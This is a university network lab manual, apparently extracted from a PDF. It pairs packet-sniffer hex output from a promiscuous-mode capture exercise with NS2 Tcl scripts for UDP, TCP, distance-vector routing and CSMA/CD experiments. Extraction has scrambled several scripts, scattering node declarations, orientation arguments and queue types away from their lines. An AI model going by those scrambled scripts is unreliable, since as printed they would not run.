Output $su Password: # gcc sniffdata.c -o sniffdata # ifconfig eth0 promisc # ./sniffdata eth0 1 ---------Packet---Starts---01 00 4e 73 30 67 65 0a 31 74 00 01 4f 74 30 2d 72 4c 36 2f 5e 11 54 3a 0d 63 3a 6f 2e 75 7f ec 49 32 0a 6f 31 63 34 64 ff 11 46 33 4e 6d 0d 61 2e 68 fa ac 59 39 54 3a 0a 74 32 69 18 10 20 2e 3a 64 4e 69 33 73 f4 04 2a 32 75 65 54 6f 30 61 6a e6 20 35 72 76 53 6e 3a 70 16 ef 48 35 6e 69 3a 3a 32 69 a2 ff 54 2e 3a 63 73 68 38 2e a2 ff 54 32 64 65 73 74 36 64 08 fa 50 35 6d 3a 64 74 39 6c 00 07 2f 35 63 53 70 70 2f 6c 45 6c 31 2e 2d 79 3a 3a 75 3f 00 07 2e 32 73 6e 61 2f 70 63 01 ff 2a ec 00 6c 01 eb 65 d1 31 0d 0a 48 6f 35 30 3a 31 39 61 6d 73 75 6e 63 53 65 72 76 6c 69 76 65 0d 2f 31 37 32 2e 6e 70 68 6f 73 6f 6e 74 65 6e

--------Packet---Ends----Destination MAC: 01 00 5E 7F FF FA Source MAC: 18 F4 6A 16 A2 A2 Protocol: 08 00 Dest IP address: 239.255.255.250 Source IP address: 172.16.4.230 Not a TCP packet Data Len : 471 Data : 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A 32 35 2E 32 35 35 2E 32 35 30 3A 31 39 30 30 0D 0A 6E 3A 64 6D 63 2D 73 61 6D 73 75 6E 67 2D 63 6F 69 63 65 3A 53 79 6E 63 53 65 72 76 65 72 3A 31 3A 73 73 64 70 3A 61 6C 69 76 65 0D 0A 4C 6F 63 3A 68 74 74 70 3A 2F 2F 31 37 32 2E 31 36 2E 34 32 38 36 39 2F 75 70 6E 70 68 6F 73 74 2F 75 64 69 2E 64 6C 6C 3F 63 6F 6E 74 65 6E

33 4E 6D 0D 61 2E 68

39 54 3A 0A 74 32 69

2E 3A 64 4E 69 33 73

32 75 65 54 6F 30 61

35 72 76 53 6E 3A 70

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Simulator Programs

NS2 SIMULATOR A simulator is a device, software or system which behaves or operates like a given system when provided with a set of controlled inputs. The need for simulators is: Provide users with practical feedback such as accuracy, efficiency, cost, etc., when designing real world systems. Permit system designers to study at several different levels of abstraction Simulation can give results that are not experimentally measurable with our current level of technology. Simulations take the building/rebuilding phase out of the loop by using the model already created in the design phase. Effective means for teaching or demonstrating concepts to students. A few popular network simulators are NS-2, OPNET, GLOMOSIM, etc. Network Simulator NS2 NS2 is an object-oriented, discrete event driven network simulator developed at UC Berkley written in C++ and OTcl. NS is primarily useful for simulating local and wide area networks. NS2 is an open-source simulation tool that primarily runs on Linux (cygwin for Windows). The features of NS2 are Is a discrete event simulator for networking research Works at packet level. Provide support to simulate bunch of protocols like TCP, UDP, FTP, etc. Simulate wired and wireless network. Is a standard experiment environment in research community. Network Animator (NAM) NS together with its companion, NAM, form a very powerful set of tools for teaching networking concepts. NS contains all the IP protocols typically covered in undergraduate and most graduate courses, and many experimental protocols contributed by its ever-expanding user base. With NAM, these protocols can be visualized as animations. The NAM graphical editor is the latest addition to NAM. With this editor, one can create their network topology and simulate various protocols and traffic sources by dragging the mouse. Create Terrestrial, satellite and wireless network with various routing algorithm (DV, LS, PIM, DSR). Traffic sources like web, ftp, telnet, cbr, and stochastic traffic. Failures, including deterministic, probabilistic loss, link failure, etc. Various queuing disciplines (droptail, RED, FQ, SFQ, etc.) and QoS Visualize Packet flow, queue build-up and packet drops. Protocol behavior: TCP slow start, self-clocking, congestion control, fast retransmit and recovery. Node movement in wireless networks. Annotations to highlight important events. Protocol state (e.g., TCP cwnd).

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Simulator Programs

NS2 Class Hierarchy

Running NS2 A OTcl script is generally composed as follows: Create a new simulator object Turn on tracing Create network (physical layer) Create link and queue (data-link layer) Define routing protocol Create transport connection (transport layer) Create traffic (application layer) Insert errors The overall simulation procedure in the NS is shown below. NS is composed of OTcl (Object-oriented Tool Command Language) Script and Interpreter. NS simulation results can be observed through graphs by analyzing the trace file or viewing animations with NAM.

After successful installation, path setting and validation, execute NS2 programs. $ ns filename.tcl

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Simulator Programs

Exp# 8A

Study of UDP Performance

Aim To study the performance of UDP by simulating a simple network

Algorithm 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. Create a simulator object Define different color for data flows Trace all events in a nam file. Create four nodes n0, n1, n2 and n3 Describe their layout topology Specify the link capacity between nodes Monitor queue on the link n2 to n3 vertically 90 Create a UDP agents udp0, udp1 and attach it to nodes n0 and n1 respectively Create a CBR traffic cbr0, cbr1 and attach it to udp0 and udp1 respectively Create a traffic sink and attach it to node n3 Connect sources to the sink Label the nodes Schedule cbr0 to start at 0.5 and stop at 4.5 seconds Schedule cbr1 to start at 1.0 and stop at 4.0 seconds Call finish procedure at 5.0 seconds Run the simulation Execute NAM on the trace file Observe simulated events on the NAM and packet flow on link n2 to n3 Stop

Result Thus the performance of UDP and basic network terminologies were studied using NS2.

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Simulator Programs

Program #Study of UDP performance - UDP.tcl #Create a simulator object set ns [new Simulator] #Define different colors for data flows $ns color 1 Blue $ns color 2 Red #Open the nam trace file set nf [open out.nam w] $ns namtrace-all $nf #Create four nodes set n0 [$ns node] set n1 [$ns node] set n2 [$ns node] set n3 [$ns node] #Create links between the nodes $ns duplex-link $n0 $n2 1Mb 10ms DropTail $ns duplex-link $n1 $n2 1Mb 10ms DropTail $ns duplex-link $n3 $n2 1Mb 10ms SFQ #Specify layout of $ns duplex-link-op $ns duplex-link-op $ns duplex-link-op nodes $n0 $n2 orient right-down $n1 $n2 orient right-up $n2 $n3 orient right

#Monitor the queue for the link 2 3 vertically $ns duplex-link-op $n2 $n3 queuePos 0.5 #Create a UDP agent and attach it to node n0 set udp0 [new Agent/UDP] $udp0 set class_ 1 $ns attach-agent $n0 $udp0 # Create a CBR traffic source and attach it to udp0 set cbr0 [new Application/Traffic/CBR] $cbr0 set packetSize_ 500 $cbr0 set interval_ 0.005 $cbr0 attach-agent $udp0 #Create a UDP agent and attach it to node n1 set udp1 [new Agent/UDP] $udp1 set class_ 2 $ns attach-agent $n1 $udp1

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Simulator Programs

# Create a CBR traffic source and attach it to udp1 set cbr1 [new Application/Traffic/CBR] $cbr1 set packetSize_ 500 $cbr1 set interval_ 0.005 $cbr1 attach-agent $udp1 #Create a Null agent (a traffic sink) and attach it to node n3 set null0 [new Agent/Null] $ns attach-agent $n3 $null0 #Connect traffic sources with the traffic sink $ns connect $udp0 $null0 $ns connect $udp1 $null0 #Define finish procedure proc finish {} { global ns nf $ns flush-trace #Close the trace file close $nf #Execute nam on the trace file exec nam -a out.nam & exit 0 } #Define label for nodes $ns at 0.0 "$n0 label Sender1" $ns at 0.0 "$n1 label Sender2" $ns at 0.0 "$n2 label Router" $ns at 0.0 "$n3 label Receiver" #Schedule events for the CBR agents $ns at 0.5 "$cbr0 start" $ns at 1.0 "$cbr1 start" $ns at 4.0 "$cbr1 stop" $ns at 4.5 "$cbr0 stop" #Call finish procedure after 5 seconds of simulation time $ns at 5.0 "finish" #Run the simulation $ns run

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Simulator Programs

Output $ ns UDP.tcl

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Simulator Programs

Exp# 8B

Study of TCP Performance

Aim To study the performance of a TCP network with droptail queue mechanism on the gateway

Algorithm 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. Create a simulator object Define different flows for data flows Trace all events in a nam file and text file Create source nodes (s1, s2 , s3), gateway (G) and receiver (r) Describe their layout topology Specify the link between nodes Define the queue size between nodes G and r as 5 Monitor queue on all links vertically 90 Create TCP agents tcp1, tcp2, tcp3 and attach it to nodes s1, s2 and s3 respectively Create three TCP sinks and attach it to node r Connect traffic sources to the sink Create FTP agents ftp1, ftp2, ftp3 and attach it to tcp1, tcp2 and tcp3 respectively Label the nodes at start time Schedule ftp1, ftp2, ftp3 to start at 0.1 and stop at 5.0 seconds Call finish procedure at 5.25 seconds Run the simulation Execute NAM on the trace file Observe the simulated events on the NAM editor and packet flow on link G to r View the trace file and analyse the events Stop

Result Thus the behaviour of TCP was observed and the basic terminologies of TCP transmission were understood.

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Simulator Programs

Program #Study of TCP performance - TCP.tcl #Create a simulator object set ns [new Simulator] #Open trace files set f [open droptail-queue-out.tr w] $ns trace-all $f #Open the nam trace file set nf [open droptail-queue-out.nam w] $ns namtrace-all $nf #s1, s2 and set s1 [$ns set s2 [$ns set s3 [$ns s3 act as sources. node] node] node]

#G acts as a gateway set G [$ns node] #r acts as a receiver set r [$ns node] #Define different colors for data flows $ns color 1 red $ns color 2 SeaGreen $ns color 3 blue #Create links between the nodes $ns duplex-link $s1 $G 6Mb 10ms $ns duplex-link $s2 $G 6Mb 10ms $ns duplex-link $s3 $G 6Mb 10ms $ns duplex-link $G $r 3Mb 10ms #Define the layout $ns duplex-link-op $ns duplex-link-op $ns duplex-link-op $ns duplex-link-op of the $s1 $G $s2 $G $s3 $G $G $r nodes orient orient orient orient

DropTail DropTail DropTail DropTail

right-up right right-down right

#Define the queue size for the link between node G and r $ns queue-limit $G $r 5 #Monitor the queues for links vertically $ns duplex-link-op $s1 $G queuePos 0.5 $ns duplex-link-op $s2 $G queuePos 0.5 $ns duplex-link-op $s3 $G queuePos 0.5 $ns duplex-link-op $G $r queuePos 0.5

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Simulator Programs

#Create a TCP agent and attach it to node s1 set tcp1 [new Agent/TCP/Reno] $ns attach-agent $s1 $tcp1 $tcp1 set window_ 8 $tcp1 set fid_ 1 #Create a TCP agent and attach it to node s2 set tcp2 [new Agent/TCP/Reno] $ns attach-agent $s2 $tcp2 $tcp2 set window_ 8 $tcp2 set fid_ 2 #Create a TCP agent and attach it to node s3 set tcp3 [new Agent/TCP/Reno] $ns attach-agent $s3 $tcp3 $tcp3 set window_ 4 $tcp3 set fid_ 3 #Create TCP sink agents and attach them to node r set sink1 [new Agent/TCPSink] set sink2 [new Agent/TCPSink] set sink3 [new Agent/TCPSink] $ns attach-agent $r $sink1 $ns attach-agent $r $sink2 $ns attach-agent $r $sink3 #Connect the traffic sources with the traffic sinks $ns connect $tcp1 $sink1 $ns connect $tcp2 $sink2 $ns connect $tcp3 $sink3 #Create FTP applications and attach them to agents set ftp1 [new Application/FTP] $ftp1 attach-agent $tcp1 set ftp2 [new Application/FTP] $ftp2 attach-agent $tcp2 set ftp3 [new Application/FTP] $ftp3 attach-agent $tcp3 #Define a 'finish' procedure proc finish {} { global ns $ns flush-trace puts "running nam..." exec nam -a droptail-queue-out.nam & exit 0 }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Simulator Programs

#Define label for nodes $ns at 0.0 "$s1 label Sender1" $ns at 0.0 "$s2 label Sender2" $ns at 0.0 "$s3 label Sender3" $ns at 0.0 "$G label Gateway" $ns at 0.0 "$r label Receiver" #Schedule ftp events $ns at 0.1 "$ftp1 start" $ns at 0.1 "$ftp2 start" $ns at 0.1 "$ftp3 start" $ns at 5.0 "$ftp1 stop" $ns at 5.0 "$ftp2 stop" $ns at 5.0 "$ftp3 stop" #Call finish procedure after 5 seconds of simulation time $ns at 5.25 "finish" #Run the simulation $ns run

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Simulator Programs

Output $ ns TCP.tcl

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Simulator Programs

Exp# 7

Distance Vector Routing Protocol

Aim To simulate a link failure and to observe distance vector routing protocol in action.

1. Create a simulator object 2. Set routing protocol to Distance Vector routing 3. Trace packets on all links onto NAM trace and text trace file 4. Define finish procedure to close files, flush tracing and run NAM 5. Create eight nodes 6. Specify the link characteristics between nodes 7. Describe their layout topology as a octagon 8. Add UDP agent for node n1 9. Create CBR traffic on top of UDP and set traffic parameters. 10. Add a sink agent to node n4 11. Connect source and the sink 12. Schedule events as follows: a. Start traffic flow at 0.5 b. Down the link n3-n4 at 1.0 c. Up the link n3-n4 at 2.0 d. Stop traffic at 3.0 e. Call finish procedure at 5.0 13. Start the scheduler 14. Observe the traffic route when link is up and down 15. View the simulated events and trace file analyze it 16. Stop

Result Thus, performance of distance vector protocol and routing path was studied using NS2.

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Simulator Programs

Program #Distance vector routing protocol distvect.tcl #Create a simulator object set ns [new Simulator] #Use distance vector routing $ns rtproto DV #Open the nam trace file set nf [open out.nam w] $ns namtrace-all $nf # Open tracefile set nt [open trace.tr w] $ns trace-all $nt #Define 'finish' procedure proc finish {} { global ns nf $ns flush-trace #Close the trace file close $nf #Execute nam on the trace file exec nam -a out.nam & exit 0 } # Create 8 nodes set n1 [$ns node] set n2 [$ns node] set n3 [$ns node] set n4 [$ns node] set n5 [$ns node] set n6 [$ns node] set n7 [$ns node] set n8 [$ns node] # Specify link characterestics $ns duplex-link $n1 $n2 1Mb 10ms $ns duplex-link $n2 $n3 1Mb 10ms $ns duplex-link $n3 $n4 1Mb 10ms $ns duplex-link $n4 $n5 1Mb 10ms $ns duplex-link $n5 $n6 1Mb 10ms $ns duplex-link $n6 $n7 1Mb 10ms $ns duplex-link $n7 $n8 1Mb 10ms $ns duplex-link $n8 $n1 1Mb 10ms

DropTail DropTail DropTail DropTail DropTail DropTail DropTail DropTail

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Simulator Programs

# specify layout as a octagon $ns duplex-link-op $n1 $n2 orient $ns duplex-link-op $n2 $n3 orient $ns duplex-link-op $n3 $n4 orient $ns duplex-link-op $n4 $n5 orient $ns duplex-link-op $n5 $n6 orient $ns duplex-link-op $n6 $n7 orient $ns duplex-link-op $n7 $n8 orient $ns duplex-link-op $n8 $n1 orient

left-up up right-up right right-down down left-down left

#Create a UDP agent and attach it to node n1 set udp0 [new Agent/UDP] $ns attach-agent $n1 $udp0 #Create a CBR traffic source and attach it to udp0 set cbr0 [new Application/Traffic/CBR] $cbr0 set packetSize_ 500 $cbr0 set interval_ 0.005 $cbr0 attach-agent $udp0 #Create a Null agent (a traffic sink) and attach it to node n4 set null0 [new Agent/Null] $ns attach-agent $n4 $null0 #Connect the traffic source with the traffic sink $ns connect $udp0 $null0 #Schedule events for the CBR agent and the network dynamics $ns at 0.0 "$n1 label Source" $ns at 0.0 "$n4 label Destination" $ns at 0.5 "$cbr0 start" $ns rtmodel-at 1.0 down $n3 $n4 $ns rtmodel-at 2.0 up $n3 $n4 $ns at 4.5 "$cbr0 stop" #Call the finish procedure after 5 seconds of simulation time $ns at 5.0 "finish" #Run the simulation $ns run

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Simulator Programs

Output $ ns distvect.tcl

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Simulator Programs

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Simulator Programs

Exp# 6

Ethernet CSMA/CD Protocol

Aim To study transmission of packets over Ethernet LAN and its CSMA/CD protocol

1. Create a simulator object 2. Set different color for TCP and UDP traffic. 3. Trace packets on all links onto NAM trace and text trace file 4. Define finish procedure to close files, flush tracing and run NAM 5. Create six nodes 6. Specify the link characteristics between nodes 7. Create a LAN with nodes n3, n4, n5 part of it 8. Describe layout topology of nodes 9. Add UDP agent for node n1 10. Create CBR traffic on top of UDP and set traffic parameters. 11. Add a null agent to node and connect it to udp source 12. Add TCP agent for node n0 13. Create FTP traffic for TCP and set its parameters 14. Add a sink to TCP and connect it to source 15. Schedule events as follows: a. Start CBR & FTP traffic flow at 0.3 and 0.8 respectively b. Stop CBR & FTP traffic flow at 7.5 and 7.0 respectively c. Call finish procedure at 8.0 16. Start the scheduler 17. Observe the transmission of packets over LAN 18. View the simulated events and trace file analyze it 19. Stop

Result Thus broadcasting of packets over ethernet LAN and collision of packets was observered.

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Simulator Programs

Program #Lan simulation mac.tcl set ns [new Simulator] #define color for data flows $ns color 1 Purple $ns color 2 MAgenta #open tracefile set tracefile1 [open out.tr w] $ns trace-all $tracefile1 #open nam file set namfile [open out.nam w] $ns namtrace-all $namfile #define the finish procedure proc finish {} { global ns tracefile1 namfile $ns flush-trace close $tracefile1 close $namfile exec nam out.nam & exit 0 } #create six set n0 [$ns set n1 [$ns set n2 [$ns set n3 [$ns set n4 [$ns set n5 [$ns # Specify $n1 color $n1 shape $n5 color $n5 shape $n0 color $n4 color nodes node] node] node] node] node] node]

color and shape for nodes MAgenta box MAgenta box Purple Purple

#create links between the nodes $ns duplex-link $n0 $n2 2Mb 10ms DropTail $ns duplex-link $n1 $n2 2Mb 10ms DropTail $ns simplex-link $n2 $n3 0.3Mb 100ms DropTail $ns simplex-link $n3 $n2 0.3Mb 100ms DropTail

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Simulator Programs

# Create a LAN set lan [$ns newLan "$n3 $n4 $n5" 0.5Mb 40ms LL Queue/DropTail MAC/Csma/Cd Channel] #Give node position $ns duplex-link-op $n0 $n2 orient right-down $ns duplex-link-op $n1 $n2 orient right-up $ns simplex-link-op $n2 $n3 orient right $ns simplex-link-op $n3 $n2 orient left #setup TCP connection set tcp [new Agent/TCP/Newreno] $ns attach-agent $n0 $tcp set sink [new Agent/TCPSink/DelAck] $ns attach-agent $n4 $sink $ns connect $tcp $sink $tcp set fid_ 1 $tcp set packet_size_ 552 #set ftp over tcp connection set ftp [new Application/FTP] $ftp attach-agent $tcp #setup a UDP connection set udp [new Agent/UDP] $ns attach-agent $n1 $udp set null [new Agent/Null] $ns attach-agent $n5 $null $ns connect $udp $null $udp set fid_ 2 #setup a CBR over UDP connection set cbr [new Application/Traffic/CBR] $cbr attach-agent $udp $cbr set type_ CBR $cbr set packet_size_ 1000 $cbr set rate_ 0.05Mb $cbr set random_ false #scheduling the events $ns at 0.0 "$n0 label TCP_Traffic" $ns at 0.0 "$n1 label UDP_Traffic" $ns at 0.3 "$cbr start" $ns at 0.8 "$ftp start" $ns at 7.0 "$ftp stop" $ns at 7.5 "$cbr stop" $ns at 8.0 "finish" $ns run

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Simulator Programs

Output $ ns mac.tcl

http://cseannauniv.blogspot.com

Vijai Anand

Você também pode gostar